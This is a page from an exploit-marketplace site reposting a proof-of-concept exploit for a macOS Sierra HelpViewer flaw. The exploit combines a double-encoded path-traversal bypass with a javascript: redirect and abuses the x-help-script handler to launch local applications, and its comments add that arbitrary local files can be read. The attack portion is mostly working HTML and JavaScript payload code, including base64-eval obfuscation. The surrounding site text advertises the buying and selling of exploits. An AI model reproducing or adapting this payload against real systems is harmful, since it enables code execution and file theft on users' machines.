0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution and Arbitrary File Read Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040
HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
The attached poc will pop up a Calculator.
Tested on macOS Sierra 10.12.1 (16B2659).
-->
<script>
/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.
HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
The attached poc will pop up a Calculator.
Tested on macOS Sierra 10.12.1 (16B2659).
*/
function main() {
function second() {
var f = document.createElement("iframe");
f.onload = () => {
f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
};
f.src = "help:openbook=com.apple.safari.help";
document.documentElement.appendChild(f);
}
var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));\nsecond();";
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}
main();
</script>
# 0day.today [2024-12-23] #